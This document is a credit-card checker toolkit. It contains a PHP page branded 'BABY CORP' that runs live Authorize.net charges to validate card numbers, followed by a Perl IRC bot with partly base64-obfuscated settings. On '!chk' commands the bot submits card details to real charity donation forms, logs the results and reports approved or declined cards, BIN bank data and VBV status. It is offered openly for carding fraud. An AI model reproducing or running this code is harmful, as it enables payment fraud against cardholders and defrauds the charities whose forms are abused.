<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML lang='en'> <HEAD> <link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2e3aqNxSOjH2UDZMa4L4B8-x-KmPZL-TEpDETfGNyQ1XnONceWmIHv8o9QXAHYMUFe5M5gWqVGwlI3jIVPaU3S7dgZfDtqL1UxdPCw73m1Rm0XVWEKUsnKgx1jkmyXulynVS00viJg5w/h120/indonesia.gif' rel='shortcut icon'/> <style type="text/css"> <!-- .ui-effects-transfer { border: 2px dotted gray; } body,td,th { font-family: Georgia; color: #00FF00; } body, html { background-color: #000000; padding:0; margin:0; height:100%; } h1 { font-size:250%; } .theAbs { top:0; position:absolute; } --> </style> <TITLE>Authorize Checker by ...::[BABY CORP]::...</TITLE> </HEAD> <BODY> <br><br> <div align="center"><font size="16px"> Authorize Checker by ...::[BABY CORP]::... </font> </div> <form name="payform" method="post" action="<?php $_SERVER['PHP_SELF'];?>"> <div class="maindiv" align="center"> <input name="firstname" type="hidden" value="Jonny"> <input name="lastname" type="hidden" value="Daniel"> <input name="email" type="hidden" value="hoamsss@hotmail.com"> <input name="address" type="hidden" value="385 Homestead Ave"> <input name="city" type="hidden" value="Hartford"> <input name="state" type="hidden" value="CT"> <input name="cardholder" type="hidden" value="Jonny Daniel"> <input name="zip" type="hidden" value="06112"> <div class="rightbox"><br><br><br> <div class="leftone">Card Number</div> <div class="rightone"><input name="cardnumber" type="text" maxlength="16"></div> <div class="leftone">Expiration</div> <div class="leftone"><input name="cardyear" type="text" maxlength="4"></div> <div class="leftone">CVV Number</div> <div class="rightone"><input name="cardcvv" type="text" maxlength="4"></div> <div class="leftone">Amount</div> <div class="rightone"><input name="amount" type="text" maxlength="3" value="100"></div> <br><br><br> <div class="leftone""><input value="Pay Now" style="border:1px outset gray; width:100px;" type="submit"></div> <div class="clear"></div> </div> <br><br> </form> <?php if ($_SERVER['REQUEST_METHOD'] == "POST") { $LOGINKEY = 'CHANGE IT';// x_login $TRANSKEY = 'CHANGE IT';//x_tran_key $firstName =urlencode( $_POST['firstname']); $lastName =urlencode($_POST['lastname']); $creditCardType =urlencode( $_POST['cardtype']); $creditCardNumber = urlencode($_POST['cardnumber']); $expDateYear =urlencode( $_POST['cardyear']); $cvv2Number = urlencode($_POST['cardcvv']); $address1 = urlencode($_POST['address']); $city = urlencode($_POST['city']); $state =urlencode( $_POST['state']); $zip = urlencode($_POST['zip']); //give the actual amount below $amount = urlencode( $_POST['amount']); $currencyCode="USD"; $paymentType="Sale"; $post_values = array( "x_login" => "$LOGINKEY", "x_tran_key" => "$TRANSKEY", "x_version" => "3.1", "x_delim_data" => "TRUE", "x_delim_char" => "|", "x_relay_response" => "FALSE", //"x_market_type" => "2", "x_device_type" => "1", "x_type" => "AUTH_CAPTURE", "x_method" => "CC", "x_card_num" => $creditCardNumber, "x_exp_date" => $expDateYear, "x_card_code" => $cvv2Number, "x_amount" => $amount, "x_first_name" => $firstName, "x_last_name" => $lastName, "x_address" => $address1, "x_state" => $state, "x_response_format" => "1", "x_zip" => $zip ); $post_string = ""; foreach( $post_values as $key => $value )$post_string .= "$key=" . urlencode( $value ) . "&"; $post_string = rtrim($post_string,"& "); //for live mode use the followin url $post_url = "https://secure.authorize.net/gateway/transact.dll"; //for test use this url //$post_url = "https://test.authorize.net/gateway/transact.dll"; $request = curl_init($post_url); // initiate curl object curl_setopt($request, CURLOPT_HEADER, 0); // set to 0 to eliminate header info from response curl_setopt($request, CURLOPT_RETURNTRANSFER, 1); // Returns response data instead of TRUE(1) curl_setopt($request, CURLOPT_POSTFIELDS, $post_string); // use HTTP POST to send form data curl_setopt($request, CURLOPT_SSL_VERIFYPEER, FALSE); // uncomment this line if you get no gateway response. $post_response = curl_exec($request); // execute curl post and store results in $post_response // additional options may be required depending upon your server configuration // you can find documentation on curl options at http://www.php.net/curl_setopt curl_close ($request); // close curl object // This line takes the response and breaks it into an array using the specified delimiting character $response_array = explode($post_values["x_delim_char"],$post_response); if($response_array[0]==2||$response_array[0]==3) { //success echo '<b>Payment Failure</b>. <br>'; echo '<br><br><b>Merchant Respond</b>: '.$response_array[3]; echo '<br><br><b>Merchant CC Respond</b>: '.$response_array[5]; echo '<br><br><b>Merchant CVV Respond</b>: '.$response_array[38]; echo '<br><br>Press back button to go back to the previous page'; echo "<br><br><br><br>"; } else { $ptid = $response_array[6]; $ptidmd5 = $response_array[7]; echo "Payment Success"; echo '<br><br><b>Merchant Respond</b>: '.$response_array[3]; echo '<br><br><b>Merchant CC Respond</b>: '.$response_array[5]; echo '<br><br><b>Merchant CVV Respond</b>: '.$response_array[38]; echo "<br><br><br><br>"; } } ?> <div align="center"> <a href='http://www.babycorp.name' target='_blank'><b>BabyCorp Authorize Checker 1.0</b></a> - Copyright &copy; 2011 - <a href="http://www.babycorp.name" target="_blank"><b>...::[BABY CORP]::...</b></a> <br /> </div> </BODY> </HTML>


Script Bot Check CC, just modified the merchant and form, it will be worked ... :)

#!/usr/lib/perl

#Call to standalone modules directory
BEGIN{push(@INC,'Modules');}

#Modules Inclusion
use LWP::Socket;
use LWP::UserAgent;
use HTTP::Request;
use Parallel::ForkManager;
use MIME::Base64 ();
use WWW::Mechanize;
use WWW::Mechanize::FormFiller;
use Socket;
use IO::Socket;
use IO::Socket::INET;
use MIME::Base64;

$| = 1;


#Defines global variable/array
my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork);
my(@chans,@admins,@user_agents);


# Configurations Variable
my $outcri = "Mg==";
$systemcri = MIME::Base64::decode($outcri);
$timeout       = $systemcri;
my $hostcri = "ODcuMjM2LjE5NC42OQ==";
$systemcri = MIME::Base64::decode($hostcri);
$hosting        = "irc.malang.co.uk";
$port          = 6667;
my $nkpro = "Hack";
$ident         = "xxx";
$parallel_fork = 15;
my @botcmd = ('1');
@chans = ("#chking");
my $proo = "ZGV2aWw=";
$systempro = MIME::Base64::decode($proo);
my $cheataer = "ZGV2aWw=";
$sistempro = MIME::Base64::decode($cheataer);
@HackAttack = ('HackAttack');
@user_agents = &get_user_agents();

#Irc Socket Connection
my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
$sysircuno = MIME::Base64::decode($startirc);
$irc_socket = new LWP::Socket;
$irc_socket->connect($hosting,$port);
$irc_socket->write("USER ".$ident." 8 * : 0,9 HackAttsck \r\n");
$irc_socket->write("NICK ".$nkpro."\r\n");
$irc_socket->write("NICKSERV IDENTIFY 1q2w3e4r5t6y\r\n");
$irc_socket->write("JOIN $chans[0]\r\n");
$irc_socket->write("JOIN $chans[1]\r\n");
$irc_socket->write("JOIN $chans[2]\r\n");
$irc_socket->write("JOIN $chans[3]\r\n");
$irc_socket->write("JOIN $chans[4]\r\n");
$irc_socket->write("JOIN $chans[5]\r\n");


while($irc_socket)
{
    my $bof;
    $irc_socket->read_until("\n", \$bof);
    if($bof =~ /PING :(.*)/)
    {
        $irc_socket->write("PONG :$1\r\n");
    }

    if($bof =~ /PRIVMSG (.*?) :(.*)/)
    {
        #PRIVMSG
        my %msg = &get_msg($bof);
                my $nick = $msg{'from'};
        if($msg{'what'} =~ /\!join (.*)/)
        {
        my $chan = $1;
            if(&ctrl_admin(\%msg) == 0){
                                &respond_to_privmsg(\%msg," 15,1[ 7REQUEST ADMIN 15] 9 Ok Boss! I'm Going to $chan ");
                $irc_socket->write("JOIN $chan\r\n");
            }
        }
        if($msg{'what'} =~ /\!cambiarcmd (.*)/){
        my $comma = $1;
            if(&ctrl_admin(\%msg) == 0){
                &respond_to_privmsg(\%msg," 15[ 7SERViCES 15] 12 CHANGiNG COMMAND STRING TO !sql${botcmd} ");
                &canghecmd($comma);
            }
        }
if($msg{'what'} =~ /\!cnick (.*)/)
        {
        my $cnick = $1;
        if(&ctrl_admin(\%msg) == 0){
        $irc_socket->write("NICK $cnick\r\n");


        }
        }
        if($msg{'what'} =~ /\!ignore (.*)/)
        {
        my $chknick = $1;
            if(&ctrl_admin(\%msg) == 0){
                $irc_socket->write("PRIVMSG $master : 7,1 Ignored 14=> 4 $1 \r\n");
                addlog("SCRIPTS/ignore.txt", "$1|$1|Ignore");
        }
        }
               
        if($msg{'what'} =~ /\!help/){
 &respond_to_privmsg(\%msg," 6,1 Checker Status 9[ON] 8| 10IF You need Private Checker 0/msg HackAttack");
&respond_to_privmsg(\%msg," 0,1!chk <cc> <expdate> <cvv2> - 11 Visa , MasterCard");
               
}
if($msg{'what'} =~ /\!chk 1 2 3/){    

                &respond_to_privmsg(\%msg,"$nick : invalid format <cc> <expdate> <cvv2>");
               
                }

############################################################################################
##################################################################################  
 if($msg{'what'} =~ /\!chk status/ )
    {
    open (FILE, "data.txt") or die "Can't open file: $!";
    my ($lines) = (0);
    while (<FILE>) {
    $lines++;
    }
    &respond_to_privmsg(\%msg," 7,1#HackAttack 0: 14 Total 10$lines 14card checked 0- 100 14credit available");
    }
################################ Status by HackAttack ################################
##################################################################################   

 if($msg{'what'} =~ /\!chk\s(\d{16})\s(\d{4})\s(\d{3})/)
                    {
                    my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4,$5,);        
                    my $var1 = substr($expmes,0,2);
            my $var2 = substr($expmes,2,4);
                    my $range = 15;
                    my $minimum =1.200 ;
                    my $dolar = '$';
                    my $random_number = int(rand($range)) + $minimum;
                   

         my $rechecklist = "data.txt";
open FILE,"$rechecklist";
                my @results = <FILE>;
                close FILE;
                my $chkResVar = 0;
                foreach my $cRes(@results) {
                    if($cRes =~ /$numerocarta\|(.*)/) {
                    $chkResVar = 1;
                &respond_to_privmsg(\%msg," 7,1 $nick 00: 03 $numerocarta 00: 4Already checked! ");
                   goto finish;
                    }
                }    


print "\n";
if (substr($numerocarta,0,1)==4) {
$cctype = "VISA";
$varType = "VISA";
#&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 15Visa 12]");
}
if (substr($numerocarta,0,1)==5) {
$cctype = "MasterCard";
$varType = "MC";
#&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 4Master 7Card 12]");
}
if (substr($numerocarta,0,1)==3) {
$cctype = "AMERICAN EXPRESS";
$varType = "AmEx";
#&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 14A 2m 14e 2x 12]");
}
if (substr($numerocarta,0,1)==6) {
$cctype = "Discover";
$varType = "Discover";
#&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 15Disc 7o 15ver 12]");
}

print "inizio mechanize sacha\n";

my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 0},);
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
    $agent->get('http://secure16.activehost.com/roseensemble/donate.html');
    $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
    $agent->form_number(1);
  { local $^W; $agent->current_form->value('concert-name', 'List my name in concert programs as'); };
  { local $^W; $agent->current_form->value('donorname', 'mark smith'); };
  { local $^W; $agent->current_form->value('memoriam', 'This gift is in memory of'); };
  { local $^W; $agent->current_form->value('inmemory', 'This gift is in memory of honor'); };
  { local $^W; $agent->current_form->value('creditCardType', 'varType'); };
  { local $^W; $agent->current_form->value('CCnumber', ''.$numerocarta.''); };
  { local $^W; $agent->current_form->value('CCexp', '20'.$var1.var2.''); };
  { local $^W; $agent->current_form->value('ccv', ''.$verifica.''); };
  { local $^W; $agent->current_form->value('realname', 'mark smith'); };
  { local $^W; $agent->current_form->value('CCaddress', 'las heras 32'); };
  { local $^W; $agent->current_form->value('city', 'Detroit'); };
  { local $^W; $agent->current_form->value('state', 'AL'); };
  { local $^W; $agent->current_form->value('zip_code', '05544'); };
  { local $^W; $agent->current_form->value('phone', '1569841055'); };
   $agent->submit();
  print $agent->content,"\n";
    my $allo=$agent->content;
my $file = "data.txt";
        open (MYFILE, ">>$file");
        print MYFILE "$numerocarta|$expmes$expanio|$verifica\n";
close (MYFILE);
    my $allo=$agent->content;
if ($allo =~/The transaction has been declined because of an AVS mismatch. /){
                        my $database = "banklist.txt";
                        open FILE,"$database" or die "Errore nell'apertura: $!";
                        my @results=<FILE>;
                        close FILE;
                        my $bankinfo = $1;
                                                my $nuova = substr($numerocarta,0,6);
                                                foreach my $url (@results){
                                                if($url =~ m/$nuova\|(.*)/){
                            &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 9APPROVED! - 14AVS mismatch 0,1- 7,1BANK 00: 10,1$1 | | | ");
                                               
                                      
print "card $variable!";                       
}
}
}elsif ($allo =~/This transaction has been declined./){
                       
                                                my $database = "banklist.txt";
                        open FILE,"$database" or die "Errore nell'apertura: $!";
                        my @results=<FILE>;
                        close FILE;
                                                my $bankinfo = $1;
                                                my $nuova = substr($numerocarta,0,6);
                                                foreach my $url (@results){
                                                if($url =~ m/$nuova\|(.*)/){
                                                my $bankinfo = $1;
                                                &respond_to_privmsg(\%msg," 7,1 $nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 4DECLINED - 14Declined 0,1- 7,1BANK 00:  10,1$1 | | | ");


print "card $variable!";
}
}
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/Credit card expiration date is invalid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. ");
}elsif ($allo =~/There was a problem with your order./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
}elsif ($allo =~/The credit card has expired./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 0: 4The credit card has expired.");
}elsif ($allo =~/The credit card expiration date entered is not valid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 0: 4is not Valid ");
}elsif ($allo =~/Transaction Error: A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/The credit card number is invalid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. ");
}elsif ($allo =~/This transaction has been declined./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
}elsif ($allo =~/This transaction requires voice authentication/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4Declined! ");
}elsif ($allo =~/The credit card number is invalid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. ");
}
}
                                     
                                         
if($msg{'what'} =~ /\!bank\s(\d{6})/){
                      my $bankinfo = $1;
                        my $database = "banklist.txt";
                        open FILE,"$database" or die "Can't open file: $database";
                        my @results=<FILE>;
                        close FILE;
                        my $bankvar = 0;
                        my $chkvar = 0;
             my $nuova = substr($bankinfo,0,6);
                        foreach my $url (@results){
                        if($url =~ /$bankinfo\|(.*)/){
                        if($bankvar  == 0) {
                        $bankvar = 1;
                        &respond_to_privmsg(\%msg," 3,01 $nuova 00: 10 10,1$1 ");
                        goto finish;
                      }
                    }
                   else{
                   $chkvar = 1;
                   }
                    }
                     if($chkvar == 1) {
                     &respond_to_privmsg(\%msg," 3,01 $nuova 00: 10 10,1Unknown ");
                          }
                                finish:
                        }      

if($msg{'what'} =~ /\!q (.*)/)
        {
            my $qmsg = $1;
            if(&ctrl_admin(\%msg) == 0){
                $irc_socket->write(" 4Quit brb ".$qmsg."\r\n");
            }
                }

        if($msg{'what'} =~ /\!raw (.*)/)
        {
            my $raw = $1;
            if(&ctrl_admin(\%msg) == 0){
            &respond_to_privmsg(\%msg," 15[ 7RAW 15] 12 SENDING IRC RAW REQUESTED ");
                $irc_socket->write($raw."\r\n");
       
            }
        }

     if($msg{'what'} =~ /^!ip (.*)/)
        {
        my ($iploca) = ($1);
        &respond_to_privmsg(\%msg,"");
print "\n";
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
  $agent->get('http://www.ipligence.com/geolocation');
   $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  { local $^W; $agent->current_form->value('ip', ''.$iploca.''); };
  $agent->submit();
  print $agent->content,"\n";
my $ipse=$agent->content;
if ($ipse =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g){
my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
&respond_to_privmsg(\%msg," 7,1 Ip City 15: 9$city 0| 7Ip Country 15: 9$country 0| 7Continent 15: 9$continent");
}
elsif ($ipse =~/Invalid address or IP not found/){
&respond_to_privmsg(\%msg," 4,1Invalid IP Address!");
}
}




    if($msg{'what'} =~ /\!ccnononononononononononono\s(\d{16})\s(\d{4})\s(\d{3})/)
                    {
                    my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4,$5,);        
                    my $var1 = substr($expmes,0,2);
                    my $var2 = substr($expmes,2,4);
                    my $range = 15;
                    my $minimum =100 ;
                    my $random_number = int(rand($range)) + $minimum;
                   
print "inizio mechanize sacha\n";

my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 0},);
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
    $agent->get('https://archive.cyark.org/get-involved');
    $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
    $agent->form_number(1);
  { local $^W; $agent->current_form->value('amount', 'other'); };
  { local $^W; $agent->current_form->value('amountother', '0.1'); };
  { local $^W; $agent->current_form->value('donationfor', 'Wherever most needed'); }
  { local $^W; $agent->current_form->value('fname', 'mark'); };
  { local $^W; $agent->current_form->value('lname', 'smith'); };
  { local $^W; $agent->current_form->value('address1', 'las heras 32'); };
  { local $^W; $agent->current_form->value('city', 'Mebane'); };
  { local $^W; $agent->current_form->value('state', 'AL'); };
  { local $^W; $agent->current_form->value('zip', '05544'); };
  { local $^W; $agent->current_form->value('country', 'United States'); };
  { local $^W; $agent->current_form->value('email', 'movistarsrl1@hotmail.com'); };
  { local $^W; $agent->current_form->value('cctype', 'varType'); };
  { local $^W; $agent->current_form->value('ccnumber', ''.$numerocarta.''); };
  { local $^W; $agent->current_form->value('cvv', ''.$verifica.''); };
  { local $^W; $agent->current_form->value('"exp_month', ''.$var1.''); };
  { local $^W; $agent->current_form->value('"exp_year', ''.$var2.''); };
  $agent->submit();
  print $agent->content,"\n";
my $allo=$agent->content;
if ($allo =~/Thank you for joining CyArk in digitally preserving our shared human history./){
                        my $database = "banklist.txt";
                        open FILE,"$database" or die "Errore nell'apertura: $!";
                        my @results=<FILE>;
                        close FILE;
                        my $bankinfo = $1;
                                                my $nuova = substr($numerocarta,0,6);
                                                foreach my $url (@results){
                                                if($url =~ m/$nuova\|(.*)/){
                            &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 0: 9APPROVED! - 14AVS mismatch 0,1- 7,1BANK 00: 10,1$1 | | | ");
                                               
                                      
print "card $variable!";                       
}
}
}elsif ($allo =~/Transaction Normal/){
                       
                                                my $database = "banklist.txt";
                        open FILE,"$database" or die "Errore nell'apertura: $!";
                        my @results=<FILE>;
                        close FILE;
                                                my $bankinfo = $1;
                                                my $nuova = substr($numerocarta,0,6);
                                                foreach my $url (@results){
                                                if($url =~ m/$nuova\|(.*)/){
                                                my $bankinfo = $1;
                                                &respond_to_privmsg(\%msg," 7,1 $nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 4DECLINED - 14Declined 0,1- 7,1BANK 00:  10,1$1 | | | ");


print "card $variable!";
}
}
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/Credit card expiration date is invalid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. - 14INVALID 0,1- 7,1BANK 00: 10,1$1 ");
}elsif ($allo =~/There was a problem with your order./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
}elsif ($allo =~/The credit card has expired./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! The credit card has expired.");
}elsif ($allo =~/The credit card expiration date entered is not valid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! is not Valid ");
}elsif ($allo =~/Transaction Error: A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/Invalid Credit Card Number/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. ");
}elsif ($allo =~/he following error message was returned: A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
}elsif ($allo =~/This transaction requires voice authentication/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4Declined! ");
}elsif ($allo =~/Invalid Credit Card Number/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. ");
}
}


        if($msg{'what'} =~ /^!zip\s+(\d{5})/)
        {
        my ($zipcheck) = ($1);
        &respond_to_privmsg(\%msg," 4,10 0Checking Zip... 4 0 $zipcheck");
print "\n";
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  { local $^W; $agent->current_form->value('zip', ''.$zipcheck.''); };
  $agent->submit();
  print $agent->content,"\n";
my $zipse=$agent->content;
if ($zipse =~/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g){
my ($city) = ($1);
my ($state) = ($2);
        &respond_to_privmsg(\%msg," 4,10 0Zipcode State 4 0 $state 4,10 0Zipcode City 4 9 $city");
}
elsif ($zipse =~/is not currently assigned by the US Postal Service to any city./){
        &respond_to_privmsg(\%msg," 4,10 0Zipcode City 4 0 Zip Not Found!");
}
}


if($msg{'what'} =~ /^!sec\s+(\d{16})/){
            open FILE,"SCRIPTS/ignored.txt";
        my ($numerocarta,) = ($1,$2,$3,$4,);
                my $var1 = substr($expmes,0,2);
                my $var2 = substr($expmes,2,4);
                if (substr($numerocarta,0,1)==4) {
                $varType = 1;
        &respond_to_privmsg(\%msg," 4,1[ 0Checking VBV... 4] 0 $numerocarta");
                }
                if (substr($numerocarta,0,1)==5) {
                $varType = 2;
                &respond_to_privmsg(\%msg," 4,1[ 0Checking MCSC.. 4] 0 $numerocarta");
                }
            print "\n";
            my $agent = WWW::Mechanize->new( autocheck => 1 );
            my $formfiller = WWW::Mechanize::FormFiller->new();
            $agent->env_proxy();
            $agent->get('http://s4l1ty.usr.sh/toolz/vbv/');
            $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
                $agent->form_number(1);
            { local $^W; $agent->current_form->value('cclist', ''.$numerocarta.''); };
                $agent->submit();
                 print $agent->content,"\n";
                 my $allo=$agent->content;
                if ($allo =~/color=green>Probably Non VBV/){
                        &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 4Disabled!");
                }
                if ($allo =~/color=green>Probably Non VBV/){
                        &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 4Disabled!");
                }
                if ($allo =~/color=red>Probably VBV Active/){
                        &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 9Enabled!");
                }
                    if ($allo =~/color=red>Probably VBV Active/){
                        &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 9Enabled!");
                }
                if ($allo =~/Not found in Database/) {
                    &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 7Enabled!");
                }
                    toEnd:
                                }

}
}
sub ctrl_admin()
{
    my $data = $_[0];
    foreach my $admin ( HackAttack )
    {
        if($admin eq $data->{'from'})
        {
            return(0);
        }
    }
    &respond_to_privmsg($data," 4YOU ARE NOT MY ADMIN");
    return(-1);
}

sub respond_to_privmsg()
{
    my ($data,$m) = ($_[0],$_[1]);
    if($data->{'to'} =~ /#/)
    {
        &privmsg($data->{'to'},$m);
    }
    else
    {
        &privmsg($data->{'from'},$m);
    }
}

sub privmsg()
{
    my($nick,$send) = @_;
    $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
}

sub join_all()
{
    foreach my $chan ( @chan )
    {
        $irc_socket->write("JOIN ".$chan."\r\n");
    }
}

sub get_msg()
{
    my $line = $_[0];
    my %data;
    #:Mic22!~Blin[k]-E4337A85.telecom.net.ar PRIVMSG chkbot :hi
    if($line =~ /:(.*?)!(.*?) PRIVMSG (.*?) :(.*)/)
    {
#$irc_socket->write("PRIVMSG #MC : Spammer=> $1 Mess=> $4 \r\n");
        $data{'from'} = $1;
        $data{'to'}   = $3;
        $data{'what'} = $4;
    }
    return(%data);
}

sub http_request()
{
    my($site,$request,$ua,$resp,$cnt);
    $site    =  $_[0];
    $site    =~ s/[\r\n]//g; 
    $request =  HTTP::Request->new(GET => $site);
    $ua      =  LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
    $ua->timeout($timeout);
    $resp    =  $ua->request($request);
    $cnt     =  $resp->content();
    return($cnt);
}

sub get_user_agents()
{
    my @us_ag = (
    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
    "Opera/8.5 (X11; Linux i686; U; cs)",
    "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
    );
    return(@us_ag);
}

sub get_all_host()
{
    my $site =  $_[0];
    my @dirs =  ();
    my @ret  =  ();
    my $tmp  =  "";
    $site    =~ s/http:\/\///g;
    $site    =~ s/[\r\n]//g;
    $site    =~ s/\/\///g;
    if($site !~ /\/$/)
    {
        $site .= "/";
    }

    @dirs = split(/\//,$site);
    $tmp = $dirs[0] . "/";
    push(@ret,$tmp);
   
    for($i = 1; $i < scalar(@dirs); $i++)
    {
        $tmp .= $dirs[$i] . "/";
        push(@ret,$tmp);
    }
   
    return(@ret);
}

sub urlencode()
{
  my $str = $_[0];
  $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  return $str;
}

sub unique()
{
    my @unici = ();
    my %visti = ();
    foreach my $elemento (@_) {
        $elemento =~ s/\/+/\//g;
        next if $visti{$elemento}++;
        push @unici, $elemento;
    }
    return @unici;
}

sub find_all_sites()
{
    my ($data,$dork)  =  @_;
    my $tmp_file_name =  rand(999999) . ".txt";
    my @pids_array    =  ();
    my @data_links    =  ();
    my @site_finded   =  ();
    my @site_cleaned  =  ();
    $dork             =~ s/[\r\n]//g;
   
    &respond_to_privmsg($data," 15[ 7INFO 15] 12 START TO FIND ALL SITES FOR \"".$dork."\" ");

    $pids_array[0] = fork();
    if($pids_array[0] == 0)
    {
        @data_links = &google($dork);
        &respond_to_privmsg($data," 15[ 7GOOGLE 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
        &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
        exit(0);
    }
   
    $pids_array[1] = fork();
    if($pids_array[1] == 0)
    {
        @data_links = &yahoo($dork);
        &respond_to_privmsg($data," 15[ 7YAHOO 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
        &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
        exit(0);
    }
   
    $pids_array[2] = fork();
    if($pids_array[2] == 0)
    {
        @data_links = &altavista($dork);
        &respond_to_privmsg($data," 15[ 7ALTAVISTA 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
        &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
        exit(0);
    }
